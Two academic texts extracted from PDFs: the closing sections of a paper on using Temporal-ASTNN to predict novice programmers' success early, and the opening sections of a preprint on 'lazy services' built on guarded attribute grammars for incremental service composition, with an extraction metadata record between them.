Tracing student learning progression at early stage is a crucial component of student modeling, since it allows tutoring systems to intervene by providing needed support, such as a hint, or by alerting an instructor. Both prediction tasks involved in this work are challenging, especially the early prediction task because: 1) the open-ended nature of programming environment hinders the prediction of student fi-
nal success, and 2) it is extremely hard to learn a meaningful representation from student code. In this work, we conducted a series of experiments to investigate the effectiveness of Temporal-ASTNN for student learning progression. We first evaluated ASTNN against Code2Vec on the task of classifying the correctness of student programs across two domains. Our results show that ASTNN consistently outperforms the other models including Code2Vec and other token-based baselines in both domains. And we can also find that AST-based models generally achieve better performance than token-based models, which is consistent with prior research [24, 42]. In the second task of student early prediction, we explored three different categories of features: expert, tokens, and ASTs. And further compared Temporal-ASTNN with other temporal models embedded with different feature set, as well as non-temporal baselines. Our findings can be concluded as follows: 1) temporal models usually outperform non-temporal (last-value) models; 2) token-based models can only capture very limited information from student code; and 3) Temporal-ASTNN is the best out of all models in the early prediction task, it can achieve good performance with only the first-4-minute data.
Limitations: There are two main limitations in this work. First, we only explored the effectiveness of Temporal-ASTNN on one important student modeling task in one programming environment, and thus it is not clear whether the same results will hold for different tasks or in other programming domains. Second, time-aware LSTM [6] has shown to outperform LSTM on various early prediction tasks [23], while in this work we only compared our Temporal-ASTNN against normal LSTM without considering time-awareness. Nevertheless, one of the main goal in this work is to investigate the robustness of Temporal-ASTNN from both sequential and temporal embedding. Thus we have two different type of models (last-value vs. temporal) as well as another two different features (expert and tokens). Our experiments results have shown its superiority on both aspects, but still, we are not clear about the effects of time-awareness.
Future Work: An important direction for future work is to investigate the time-awareness on Temporal-ASTNN to determine how it contributes to the model in the same task. In addition, we are planning to employ Temporal-ASTNN to other temporal tasks or different domains to explore whether it continues to support improvement for programming environments. Also, this work will be applied to larger groups of students and longer programming tasks, along with integration of more informative features such as intervention and demographic features to develop more robust models.
7. ACKNOWLEDGMENTS
This research was supported by the NSF Grants: EXP: Data-Driven Support for Novice Programmers (1623470), Integrated Data-driven Technologies for Individualized Instruction in STEM Learning Environments(1726550), CAREER: Improving Adaptive Decision Making in Interactive Learning Environments (1651909), and Generalizing Data-Driven Technologies to Improve Individualized STEM Instruction by Intelligent Tutors (2013502).
8. REFERENCES
|
{"Source-Url": "https://educationaldatamining.org/EDM2021/virtual/static/pdf/EDM21_paper_221.pdf", "len_cl100k_base": 10872, "olmocr-version": "0.1.53", "pdf-total-pages": 11, "total-fallback-pages": 0, "total-input-tokens": 41020, "total-output-tokens": 14123, "length": "2e13", "weborganizer": {"__label__adult": 0.0007724761962890625, "__label__art_design": 0.000995635986328125, "__label__crime_law": 0.0005698204040527344, "__label__education_jobs": 0.04425048828125, "__label__entertainment": 0.00021398067474365232, "__label__fashion_beauty": 0.0004000663757324219, "__label__finance_business": 0.0005536079406738281, "__label__food_dining": 0.0008525848388671875, "__label__games": 0.0014162063598632812, "__label__hardware": 0.0015974044799804688, "__label__health": 0.0008153915405273438, "__label__history": 0.0005331039428710938, "__label__home_hobbies": 0.0003685951232910156, "__label__industrial": 0.0008068084716796875, "__label__literature": 0.0009622573852539062, "__label__politics": 0.0005254745483398438, "__label__religion": 0.0008873939514160156, "__label__science_tech": 0.02716064453125, "__label__social_life": 0.00041794776916503906, "__label__software": 0.00714874267578125, "__label__software_dev": 0.90625, "__label__sports_fitness": 0.0006432533264160156, "__label__transportation": 0.0012845993041992188, "__label__travel": 0.00040793418884277344}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 54124, 0.04948]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 54124, 0.4187]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 54124, 0.88757]], "google_gemma-3-12b-it_contains_pii": [[0, 4730, false], [4730, 9477, null], [9477, 14638, null], [14638, 19607, null], [19607, 25513, null], [25513, 30351, null], [30351, 34371, null], [34371, 38750, null], [38750, 43145, null], [43145, 49228, null], [49228, 54124, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4730, true], [4730, 9477, null], [9477, 14638, null], [14638, 19607, null], [19607, 25513, null], [25513, 30351, null], [30351, 34371, null], [34371, 38750, null], [38750, 43145, null], [43145, 49228, null], [49228, 54124, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 54124, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 54124, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 54124, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 54124, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 54124, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 54124, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 54124, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 54124, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 54124, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 54124, null]], "pdf_page_numbers": [[0, 4730, 1], [4730, 9477, 2], [9477, 14638, 3], [14638, 19607, 4], [19607, 25513, 5], [25513, 30351, 6], [30351, 34371, 7], [34371, 38750, 8], [38750, 43145, 9], [43145, 49228, 10], [49228, 54124, 11]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 54124, 0.09544]]}
|
olmocr_science_pdfs
|
2024-12-06
|
2024-12-06
|
6df3b3ee04f4ebf1dcf83547e5f4f8b3edc41fc0
|
Lazy Services: A Service Oriented Architecture based on Incremental Computations and Commitments
Joskel Ngoufo Tagueu, Eric Badouel, Adrián Puerto Aubel, Maurice Tchoupé Tchendji
To cite this version:
Joskel Ngoufo Tagueu, Eric Badouel, Adrián Puerto Aubel, Maurice Tchoupé Tchendji. Lazy Services: A Service Oriented Architecture based on Incremental Computations and Commitments. 2021. hal-03353118v2
HAL Id: hal-03353118
https://inria.hal.science/hal-03353118v2
Preprint submitted on 24 Sep 2021
HAL is a multi-disciplinary open access archive for the deposit and dissemination of scientific research documents, whether they are published or not. The documents may come from teaching and research institutions in France or abroad, or from public or private research centers.
L’archive ouverte pluridisciplinaire HAL, est destinée au dépôt et à la diffusion de documents scientifiques de niveau recherche, publiés ou non, émanant des établissements d’enseignement et de recherche français ou étrangers, des laboratoires publics ou privés.
Lazy Services: A Service Oriented Architecture based on Incremental Computations and Commitments *
Joskel Ngoufo Tagueu\(^1\), Éric Badouel\(^2\), Adrián Puerto Aubel\(^3\), and Maurice Tchoupé Tchendji\(^1\)
\(^1\)University of Dschang, Cameroon
\(^2\)Inria Rennes Bretagne-Atlantique, IRISA, University of Rennes, France
\(^3\)University of Groningen, The Netherland
Abstract
A service oriented architecture (SOA) aims to structure complex distributed systems in terms of re-usable components, called services. To guarantee a good service interoperability these services must be weakly coupled and their description must be separated from their implementations. The interface of a service provides information on how it can be invoked: the logical location where it can be invoked, the supported communication protocol and the types of its input (parameters) and output (result). Traditionally, a service can only be invoked when its parameters are fully defined and, symmetrically, these services only return their results after they have been totally processed. In this paper, we promote a more liberal view of services by allowing them to consume their data lazily (i.e., as they need it) and produce their results incrementally (i.e., as they are produced). We develop this notion as 'lazy services' by building up from the model of guarded attributed grammars that was recently introduced in the context of distributed collaborative systems. We abstract from this model and limit somewhat its expressiveness so that it can comply more broadly to SOA principles. We introduce an improvement on subscription management to optimize the distributed implementation of lazy services.
Keywords: Service-oriented computing, Guarded Attribute Grammars, lazy and parallel processing, user-centric systems, micro-services, IoT Workflows, peer-to-peer computing, distributed systems, language-oriented programming.
*This research was conducted in the frame of Lirima Fuchsia Associate Team (https://lirima.inria.fr)}
1 Towards a notion of lazy service
A service oriented architecture (SOA) aims to structure complex distributed systems in terms of re-usable components, called services. Services can be atomic or composed of several other sub-services. They operate independently and autonomously, and communicate via open protocols specified by their interfaces. In this way they are ideal candidates for implementing distributed systems where the components have a certain autonomy and where coordination is asynchronous and decentralized. They have been widely adopted in business-to-business interactions \cite{11} and today constitute the basis of web applications through the notion of web service \cite{12}.
To guarantee a good service interoperability, these services must be weakly coupled and their description must be separated from their implementations. The interface of a service provides information on how it can be invoked: the logical location where it can be invoked, the supported communication protocol and the types of its input (parameters) and output (result). A service is thus presented as a black box that provides a precise functionality. The latter is specified by the shape of its input parameters and its output result, regardless of the way the result is produced. It thus corresponds to the mathematical notion of function. Service-oriented systems rely on two formalisms. The first one is used to specify the interface of a service (for example WSDL for web services). The second (like BPEL) expresses how these services can be used to design complex applications.
In order to define a new service through the orchestration or the choreography of more basic services, one should be able to derive the interface of the combined service from the interfaces of its components. In order to facilitate this type of modularity while keeping a separation between interface specification and service composition, the traditional approach to SOA restricts to a fairly simple interaction scheme: a service can only be invoked when its parameters are fully defined, and symmetrically, these services only return their results after they have been completely processed. Nonetheless, the SOA principle of asynchronous communication prescribes a message passing mechanism (no shared memory) while allowing a client process to continue its execution without waiting for the answer of the invoked service as long as it does not need it. This principle thus calls for a more flexible view of service composition, that would allow services to consume their parameter data lazily (i.e., as they need it) and produce their results incrementally (i.e., as they are produced).
In this paper, we present a solution for this more general service interaction scheme that improves concurrency. The exchanged data are lists of attribute/value pairs where values can be specific (i.e. determined), but also ‘future’ values (i.e. subscriptions to values that remote services have committed to produce). These commitments have an impact on the course of future actions (even if the corresponding values are not yet known). For instance, if one asks a report on a file by an expert, the answer can take the form of two attributes: the first one is a Boolean indicating whether the expert accepts to produce the report, and the second one is a link to the report to be produced. The commit-
ment of the expert allows the process to progress (even if the report is not yet produced) and the other services that are dedicated to future treatments, using that report, must also be subscribed to it.
We develop this notion of lazy services, building up from the model of guarded attributed grammars introduced in the context of distributed collaborative systems [7]. We abstract from this model and limit somewhat its expressiveness so that it can comply more broadly to SOA principles, and we develop a distributed implementation of lazy services. In addition, we outline some practical situations where we believe that lazy services can provide a significant improvement.
2 Guarded Attribute Grammars
In this section we present a simplified version of Guarded Attribute Grammars (GAG) adapted to the scope of this work. The reader is not expected to be familiar with the original GAG model since we provide a complete description of its adaptation to the present purpose. Our goal is to define a notion of lazy service compatible with the requirements of a service oriented architecture. We proceed by associating each service with an interface that specifies how this service can be used regardless of its implementation. The interface thus allow for a loose-coupling between the implementation of a service and its use in larger applications. This conforms to the image of a service as a black box and of its interface as instructions for using it, that specify both the assumptions on how the caller should invoke the service and the guarantees that the service offers in return. Then, we introduce the so-called productions which are a means to combine several services. One can statically check the correctness of a production. This consist in verifying that each service is invoked according to its interface and that no cyclic dependencies between values (produced by a service and used by others) can be created during execution. The latter property allows us to associate an interface to a production thus providing a new (more complex) service.
2.1 Running example
We will use as running example a simple book ordering process between two bookstores $A$ and $B$, corresponding to an adaptation of the ordering process presented in [16]. The process starts when a bookstore $A$ places an order to a larger bookstore $B$ according to its needs. Once the order is received, bookstore $B$ checks for the available books and their quantities in its warehouse and makes an offer to $A$. If Bookstore $A$ is satisfied with the offer, it must validate it and pay the corresponding fees. Upon receipt of payment, the books are delivered to $A$ and the process terminates. The BPMN representation of the process nominal case is showed in Figure [1].
2.2 The interface of a lazy service
We can invoke a service by providing it with input parameters. It takes the form of a list of attribute/value pairs which we call the input form. For instance, the input form for admission in a hospital would contain the name of the person, her address, social security number, attending physician, the results of certain medical examinations etc. It may be the case that not all of this information can be determined at the time of service call, if another service is responsible for providing it. Indeed, in order to do so, this other service could in turn require information from the service we are just invoking, in such a way that none of the two services can be fully executed before the other. In this case, the missing information should be provided as soon as it is available. Therefore, it is not necessary for attributes in the form to be associated to actual values. What we mean by ‘actual value’ can be a basic data: a symbol, a string of characters, a numerical value, a Boolean value; but also any value obtained from these by constituting lists, associative lists, arrays, hash tables etc. Thus, actual values can be complex hierarchical data. The attributes in the input form are called *inherited attributes*, since their values are produced by the environment, and the attribute in the output form are called *synthesized attributes* as their values are produced by the service during its execution. The remaining ingredient needed for defining the interface of a service is a dependency relation between inherited and synthesized attributes:
**Definition 2.1 (Interface).** The interface of a service is given by a disjoint sets of (names of) inherited attributes $\text{Inh}$ and of synthesized attributes $\text{Syn}$ and a dependency relation $D \subseteq \text{Inh} \times \text{Syn}$.
The dependency relation gives only potential dependencies because the value of a synthesized attribute may depend on different sets of inherited attributes depending on the way the service is rendered. A (realization of a) service conforms to an interface when the value of a synthesized attribute is determined whenever all the values of the inherited attribute it (potentially) depends on have actual values. In particular, when all inherited values have an actual value, then the values of all synthesized attributes are determined. Thus, conformance to an interface entails that a service commits itself to produce the values of all its synthesized attributes, and will do so as soon as the required information is available in the input form. The rationale for introducing the dependency...
relation in the interface of a service is to stipulate how services can be safely combined without introducing cyclic dependencies between attributes.
2.3 Incremental Computations
A realization (or implementation) of an interface is a computation of the values of the synthesized attributes in terms of the values of inherited attributes, in accordance with the dependency relation. We call it an incremental computation. The purpose of this section is to define these incremental computations.
The basic building block for incremental computations is the notion of production. A production is a rewriting rule that allows for expanding a service call as a composition of calls to sub-services.
**Definition 2.2 (Service Call).** A service call is an expression of the form \( s(x_1, \ldots, x_n)(y_1, \ldots, y_m) \) where \( s \) is the name of the service, the \( x_i \)'s are variables associated bijectively with its inherited attributes, and the \( y_i \)'s are variables associated bijectively with its synthesized attributes. The variables \( y_i \)'s are pairwise distinct, they are said to be defined by the service call. The variables \( x_i \)'s are said to be used by the service call.
**Definition 2.3 (Configuration).** A configuration of the system is given by a set of variables, and an assignment of values to some of these, together with a set of service calls that use these variables.
As it is usual in rewriting systems, we also consider formal service calls whose variables do not appear in the configuration: they are just formal names for placeholders. When a rewriting rule is applied, these formal variables are replaced by actual variables: some already exist in the current configuration where others are created and added to the configuration at the time of rewriting.
**Definition 2.4 (Composite service).** A composite service \( C \) is a set of (formal) service calls \( s(x_1, \ldots, x_n)(y_1, \ldots, y_m) \). All variables appearing in a given service call are pairwise distinct; although a same variable can occur in several service calls. We say that a variable is defined (respectively used) in the composite service \( C \) if it is defined (resp. used) by some service call in \( C \). We assume that each defined variable is defined by a unique service call, but it may be used by several other service calls. The variables of a composite service can then be classified into three categories:
- **The Input variables**, \( \text{In}(C) \), are those that are used but not defined.
- **The Output variables**, \( \text{Out}(C) \), are those that are defined but not used.
- **The Local variables**, \( \text{Loc}(C) \), are the remaining cases, namely the variables that are both used and defined.
**Definition 2.5 (Acyclicity).** If each service \( s \) comes with an interface, and thus a dependency relation \( D_s \subseteq \text{Inh}(s) \times \text{Syn}(s) \), then one gets an instance of this dependency relation for each call of service \( s \) by replacing each attribute by the
corresponding variable of the call of \(s\) in \(D_s\). The composite service is said to be well-formed if \(D_C\), the transitive closure of the union of these dependency relations, is acyclic; i.e., these equations do not induce cyclic dependencies between attributes. Then a well-formed composite service \(C\) is an incremental computation with inherited attributes \(\text{In}(C)\), and synthesized attributes \(\text{Out}(C)\), which conforms to the dependency relation \(D_C \cap (\text{In}(C) \times \text{Out}(C))\).
Any procedure \(f\) in the host language, for which we assume a call-by-value evaluation strategy, can be transformed into an incremental computation, denoted \((\text{lift } f)\). It behaves as follows: it first waits for the value of each of its arguments to be known, then applies procedure \(f\) with its arguments substituted by these values, and finally associates the values returned by \(f\) to the corresponding output variables, which refines the current configuration.
For service calls defined by calling procedures of the host language, we shall use notation \((y_1, \ldots, y_m) = f(x_1, \ldots, x_n)\) as a shorthand for
\[
(\text{lift } f)(x_1, \ldots, x_n)(y_1, \ldots, y_m).
\]
The set of equations \((y_1, \ldots, y_m) = f(x_1, \ldots, x_n)\) so obtained constitute the semantic rules of the composite service. Thus, a semantic rule can in particular include user-interactions, requests to a local database, and calls to distant services (usual services not defined by the GAG specification and using a traditional call-by values evaluation strategy). Hence, the definition of a lazy service can involve calls to usual services.
If we consider the book order example presented previously, the definition of the composite service handling orders in bookstore B may look like this
\[
B(order)(\text{deliveryInfo}) = \{
\text{Validate}(\text{offer}, \text{paymentFees})(\text{validation});
\text{Deliver}(\text{offer}, \text{validation})(\text{deliveryInfo});
\text{check} = \text{checkWareHouse}(order);
\text{offer} = \text{user}(\text{check});
\text{paymentFees} = \text{computeFees}(\text{offer});
\}
\]
where \(\text{Validate}\) and \(\text{Deliver}\) are two (sub-)services that should be defined elsewhere in the GAG specification, and the three last equations constitute the semantic rules. Here, each semantic equation returns a unique result, but we may imagine that several results are returned if the host language allows it. In this example, the (local) variables \(\text{check}\) and \(\text{paymentFees}\) are computed by ordinary functions of the host language. The offer sent to bookshop \(A\) is provided by the user. We may also imagine that \(\text{checkWareHouse}\) or \(\text{computeFees}\) refer to ordinary services rather than local functions. Finally, the synthesized result \(\text{deliveryInfo}\) will be available as soon as the (sub-)service \(\text{Deliver}\) terminates.
Each computation in a composite service runs in parallel (each one in a particular thread) and the scheduling of the computations is only constrained by the dependency relations between attributes. This allows for maximal parallelism since it avoids any arbitrary sequencing of computations. This is why
the acyclicity condition is required to ensure that the overall computation terminates.
The defined and used variables of the semantic rules are respectively the variables defined and used by some of its equations. This allows, as in Def. (2.4), for defining the input, output and local variables of the semantic rules. See Fig. (2) to observe the following.
**Remark 2.6.** The input variables of the semantic rules are
1. the input variables of the composite service together with
2. the defined variables of the service calls.
The output variables of the semantic rules are
1. the output variables of the composite service together with
2. the used variables of the service calls.
The local variables of the semantic rules are used to store preliminary results that may be used in several places for subsequent computations (and thus avoiding redundant computations). They also contribute to reinforce the incremental character of a composite service.
If we abstract from the attributes and the semantics rules to focus on the decomposition of tasks (the service), we end up with a rewriting system. For instance the example above is reduced to the rewriting rule $B \rightarrow \text{Validate} \quad \text{Deliver}$ expressing the fact that the composite task $B$ decomposes into its two sub-tasks $\text{Validate}$ and $\text{Deliver}$. More generally, we expect that a GAG specification gives rise in this way to an abstract context-free grammar whose syntactic symbols are service names. This means that the decomposition is hierarchical (a sub-task itself can be a composite task), non-deterministic (several productions may exist with the same symbol in its left-hand side, i.e. different decompositions may exist to solve a given task) and possibly recursive (a task may indirectly invoke itself as a sub-task).
**Definition 2.7** (Basic Computation). A basic (incremental) computation is a composite service that contains only semantic rules, i.e. liftings of procedures of the host language.
**Definition 2.8** (Guarded Attribute Grammar). A guarded attribute grammar is given by a set $S$ of services, each of which is equipped with a set of inherited attributes and synthesized attributes and a defining equation
$$s(x_1, \ldots, x_n)(y_1, \ldots y_m) \rightarrow G \triangleright \left( \sum_{i=1}^{k} \text{RHS}_i \right)$$
whose left-hand side is a (formal) service call and the right-hand side is a set of so-called guarded productions $G \triangleright \left( \sum_{i=1}^{k} \text{RHS}_i \right)$ where:
- The guard $G = G(\mathcal{X})\langle p \rangle$ is a basic incremental computation with inherited attributes $\mathcal{X} \subseteq \{x_1, \ldots x_n\}$, a subset of the set of inherited attributes of service $s$, and with one synthesized attribute $p$ whose value in $\{1, \ldots, k\}$ should indicate which production is triggered.
- Each $\text{RHS}_i$ is a composite service whose inherited attributes is a subset of the inherited attributes of $s$ and its output attributes coincide with the set of synthesized attributes of $s$.
If each service is associated with a dependency relation then, the attribute grammar is said to be well-formed whenever each right-hand side of guarded productions is well-formed and their dependency relation is included in the dependency relation of the service they define.
Note that from the set of defining equations of a guarded attribute grammar, one can inductively detect whether it is well-formed (free of cyclic dependency) and return the least dependency relations to assign with each service, so that the GAG is well-formed with respect to this assignment. Thus when specifying a GAG one can omit to specify the interfaces of the services and let the system check that the specification is well-formed and infer the less constraining interfaces.
The fact that the synthesized attributes of each production which appears in the definition of a service coincide with the set of its synthesized attributes, guarantees that the service indeed commits to the computation of a value for each of these attributes, regardless of the choice of the production. Nonetheless, a given production needs not rely on the values of all the inherited attributes of the service, which is why only set inclusions between sets of inherited attributes are required.
The evaluation of the guard in the current configuration determines which production is triggered. Triggering a production amounts to replacing the corresponding service call with the composite service in the right-hand side of the selected production. Most often, the guard is decomposed in several threads, in the form $G = C \circ \sum_{i=1}^{k} G_i$, where a guard $G_i$ is associated with each production. It produces a Boolean value $p_i$ from the inherited attributes of service $s$.
8
indicating if and when the corresponding production is enabled. Then, $C$ can be regarded as a 'choice function', namely another basic incremental computation having $p_1, \ldots, p_k$ as inherited attributes, and $p$ as synthesized attribute, and whose role is to select which production to trigger among those currently enabled. In user-centred systems, the choice will be proposed to the user in charge of solving the given task, so that the system will be guided by the different decisions of the users. In other cases, additional queries may be made (e.g. to local databases) in order to remove the indeterminacy. Mixed solutions can also be used. In any case it is important to note that the guard is a non-deterministic process: even though it must eventually select exactly one production, the resulting choice is not based exclusively on the values of the inherited attributes.
The monotonicity of incremental computations facilitates a distributed version of a GAG specification. The operational semantic for the distributed execution of a GAG specification is detailed in Section 4. Before delving into these technical aspects, we present in the next section some targeted application domains.
3 Domain Specific Applications
This section presents some informal discussion on the possible applications of the presented model. Having introduced the formalism in the previous section, and before engaging in further technical details, we wish to provide the reader with some intuition on how existing solutions may benefit from the features of GAG. To this aim, we consider a few fields where we believe our contribution may provide an advantage, and we underline it with some informal examples.
3.1 Micro- and Web-Services
Service-oriented, or more recently micro-service architectures have grown in popularity among firms, due to the flexibility they provide in managing large projects. On one hand, they allow for an easier integration of outsourced functionalities.
As a matter of fact, the publication of services through Internet has further opened a portal of collaboration between companies. Companies are able to offer their services on the Internet by just specifying their interfaces (often called API). A common example is the secure payment services used by e-commerce companies and offered by specialized payment companies. Such services, provided over the Internet, are commonly referred to as web services. Cloud computing is also turning to towards this model, offering computation capabilities in the form of web services.
On the other hand, this flexibility provides advantages when managing large projects internally. Tasks may be assigned to different working teams in such a way that they leverage each other’s work by the means of services. One team may make use of a service whose implementation was assigned to a dif-
ferent team, focusing only on its functionality. Indeed, a service is composed of sub-services, but the way these are put together does not rely on their implementation, only on their interface. The implementation of this composite service then only relies on the input and output parameters of the corresponding sub-services. Such an implementation can furthermore be provided by a service assigned to yet another team, so that this modular approach structures the overall workflow of the project at stake.
In this way, each actor is provided with a service tool-box, and may use it to solve the tasks they were assigned, without caring about the actual implementation of each tool. Only service interfaces are relevant at that stage, and ultimately, the task resolution can be reduced to the appropriate combination of input and output data of services.
Service-oriented architectures are nowadays firmly settled in the industry, underlining the success of this approach. This trend leads to an always finer granularity in the provided services, where more complex services are composed at will by the users. Cloud computing is further fueling this momentum, by providing, computational capabilities in the form of web services. Indeed, rather than remotely running the programs of the users, it is in the advantage of the provider to offer elementary functionalities in the form of web services, that can be used as instructions with which a user may write source code in some scripting language, as composition of services. The race is in this sense for the versatility of the provided services, that increases their flexibility in the hands of the users. This has led to the advent of the so called cloud functions, as Amazon’s Lambda Service, Microsoft’s Azure Functions, or yet Google and IBM’s.
The model we propose offers a qualitative enhancement in the service oriented approach. Indeed, whereas services behave like black boxes, that communicate only upon call and termination, lazy services are permeable to data flow. While the user composing services may still use the latter relying solely on their interface, these will produce each output value as it is available, and while the underlying process is still in execution. Symmetrically, they can be invoked even if all the required data is not available yet.
It is to be noted, that any service may be lifted to an incremental computation. In this sense, our model comes as a complement to existing web-services and APIs. An atomic lifted service does not present the features of our model, but the composite services built from it do.
Example 3.1. Consider a filming crew. The director is responsible for providing a service “shooting” whose output data is the footage required for editing. Another service “post-production” takes this footage as input and produces the final theater-ready film. It is apparent that some editing may be done before the shooting is finished, as the story-board indicates which footage is required in which scene. The services “shooting” and “post-production” may be decomposed into sub-services according to each scene. By lifting each such sub-service, both composite services become lazy, and the edition of each scene may start as soon as the corresponding footage is available. In this way, the shooting crew and the
post-production technicians may work concurrently instead of following a sequential workflow. Since each scene is composed of possibly several sequence shots, we may further refine the “shooting” and “post-production” services according to these. By lifting sequence shots instead of whole scenes, smaller chunks of footage are sent for edition as soon as they are available, thus increasing the flexibility of the whole workflow, and further exploiting the concurrency between the two teams.
Lazy services are hence consonant with the trend to provide finer and finer grained services. Indeed, a finer decomposition of a service into sub-services, allows for lifting services which provide more elementary functionalities, and thus for taking better advantage of the lazy approach.
Web services have become common practice, as shown by the development of standards to describe service interfaces [31]. Nevertheless, the tools available today for their composition (BPEL [20], Petri net [13], etc.) assume that the services are rendered in a limited execution time (usually a few seconds). Although this is efficient for automatic services (provided by computers), it prevents the publication of services that integrate manual user tasks and therefore require longer execution time. Lazy services appear beneficial in this case, as they allow to combine automatic services with manual tasks while deriving the resulting interface. They are therefore good candidates for the integration of more complete workflows over the internet, involving human and software actors.
3.2 IoT Workflows
The growing availability and diversity of portable devices, both for the general public and the industry, have risen an interest in the research community for their integration in larger systems. Indeed, these devices are equipped with a variety of sensors (cameras, GPS, thermometers, ...) that provide valuable information on the state of the real world. Symmetrically, some devices may interfere with the world, either by communicating with the users, or by means of robotic solutions. The field dealing with the integration of these devices into larger systems, so as to take better advantage of their capabilities has been tagged Internet of Things, IoT for short.
We represent devices as components, that may have a very limited computing capacity, but can provide data, and execute tasks in the form of services. The ordeal of exploiting these data and commanding or scheduling actuator behaviour to the best of their capacity then reduces to an efficient coordination of services. For instance, the use of sensors for quality control in assembly lines has become a widespread practice in the industry. Solutions involving visual inspection have been greatly enabled by the use of neural networks for image analysis. These tasks are extremely costly in terms of calculations, and the capture devices lack the computation capacity to perform them. Solutions to such problems thus rely on the coordination of sensors with the devices able to process the data, and further with the intended consequences of such an analysis: detected defects need be communicated so that they may be taken care
The coordination of the prescribed interactions has been tackled thanks to workflows, in their different implementations ([12]), but problems arise, particular to this setting. The unreliability of these devices may occur in a variety of forms. First, sensors have a quality range which greatly depends on their price, incurring into the quality of the provided data. Indeed, specific problems may require the acquisition of a large number of poor quality devices rather than a few costly ones. Cheap sensors may be extremely noisy, and the data they provide proportionally unreliable. On the other hand, such device networks may be spread over large geographical areas, which introduces a dependency on the quality of the connection linking them together. In this case, a particular device may often fail to communicate its output, so a coordination featuring strong data dependency would risk to stall the whole system due to the failure of a single irrelevant component. This points at a necessity for loose device integration: systems in which at most a few devices are essentially required, and where noisy data may be discarded with a limited effect on the system behaviour.
Workflows constructed with lazy services have a high tolerance to faulty, or unavailable data. To provide an example, we focus on the case of agriculture, since it can greatly benefit from sensor networks in using resources more efficiently, and limiting its environmental impact.
Example 3.2. Consider a large cropping field in a fairly arid region. Water is in this case an extremely valuable resource, and irrigating vast areas could be even too costly to be an option. A grid of sensors measuring rainfall or soil moisture may be implanted over the area, providing information on the locations where water is most needed. This data may be communicated to the workers responsible for irrigation, or to automatic actuators, that may activate a selected set of water pumps. A system coordinating these devices could be structured hierarchically as follows. Sensors may be clustered according to their geographical location, and each cluster subordinated to a controller, responsible for the closest water pump. These controllers are then in turn subordinated to the coordinator of the general water supply, that may guide the resource to the wells in the areas in most need. The supply coordinator may invoke a service “estimate water requirement” on each of the local controllers, either on a regular basis, or upon availability of the resource. Each controller may then invoke a service “measure moisture” on each sensor. This latter service shall provide the actual measured moisture together with the particular position of the sensor. Note that the former service is a composition of the many instances of the latter, combined with some calculations. With a lazy implementation, the failure of a sensor to perform the actual measure can be mitigated by the fact that it has provided its position, and the controller may compensate this lack of information statistically. Furthermore, statistical analysis at the controller level can be used to enhance estimation of the errors in the data provided by each sensor, thus mitigating the eventual noise they present. We could consider that the controllers do not have enough computation capacities to perform these tasks, in which case these can
be assigned to the general coordinator, thus limiting the controller functionality to sensor data aggregation.
Such solutions can certainly be done without recurring to laziness or even a service approach, but lazy services permit to structure the system with a far more straightforward design. Furthermore, lazy services provide additional flexibility. For instance, when the moisture measured by a sensor is below some critical threshold, the controller may directly establish a high need for water in the area, and return the estimation before all the sensors have provided the corresponding data. With a lazy service implementation, this can be done without handling additional exceptions, as these events can be integrated within a particular service. The pump activation is not decided locally, since the supply coordinator must validate the resource attribution. Thus, local controllers transfer their estimates to the supply coordinator as service outcomes, so that the latter may efficiently distribute the water geographically. At this level again, data provided by the different controllers may be aggregated through a lazy composite service, so that decisions may be taken without waiting for all controllers to have transferred their estimates. In this way a straightforward service architecture may be deployed so that given decomposition patterns present no risk of stalling the system when some of its components fail, and with a more agile ability to react to critical situations.
The presented approach transfers well to, for example, plague control, permitting a wiser use of chemicals, costly both economically and in their ecological impact.
The robustness, and tolerance to failure of workflows built with lazy services enables their use in the design of safety critical systems, where shorter reaction times may prevent catastrophic events. It is the data permeability of lazy services that makes them suitable for coordinating systems of devices interacting in the real world, such as (automated) road traffic, air space management, or human teams working in crisis situations (military, sanitary, . . .).
3.3 Distributed Computation
The processes underlying lazy services may run concurrently where their standard counterparts would stall while waiting for some unnecessary data. This issue can, in general, be overcome by providing a different architecture that would allow for a more efficient distribution of the calculation loads. While these efficiency considerations still impose that atomic services be fine enough to pertain to a single location, composing them as lazy services provides more flexibility in the design of solutions than the conventional approach.
In general, composite services may be distributed according to their decomposition patterns, in a way restricted by the data dependencies. Lazy services partially lift this restriction, as inter-dependent services may still run concurrently. Indeed, the incremental computations allow for data dependencies to breach through service interfaces, stalling the underlying
Example 3.3. Consider a paradigmatic computation-intensive task, as is often found in image processing. Suppose that a particular object needs to be found and tracked along a sequence of frames. For the sake of simplicity, we may imagine that a service meant to find the object statically is instantiated on each frame, and that it is composed of sub-services that locally search for the object on different regions of each frame. The object we are tracking is supposed to have a roughly continuous motion, and when found on a frame, it is likely to be found in nearby areas of the next and previous frames. This information can be used to avoid unnecessary calculations, by killing too distant local searches, or giving a higher priority to the nearby ones. This however, creates a data dependency between the different frame instances of the global service. Indeed, in this setting, each frame instance of the service would need for the object to be found on the previous frame before being invoked. As a matter of fact, this view would discard this solution to the problem, in favor of one that would better exploit concurrency. However, with a lazy service approach, all frame-wise instance of the service may be invoked concurrently, and their execution distributed. Upon invocation of each instance, the input parameter corresponding to the position of the object in the neighbouring frames is left as intentional. When one instance succeeds in finding the object, it may communicate the outcome position to the instances of the neighbouring frames, that may use this information to optimise their own search.
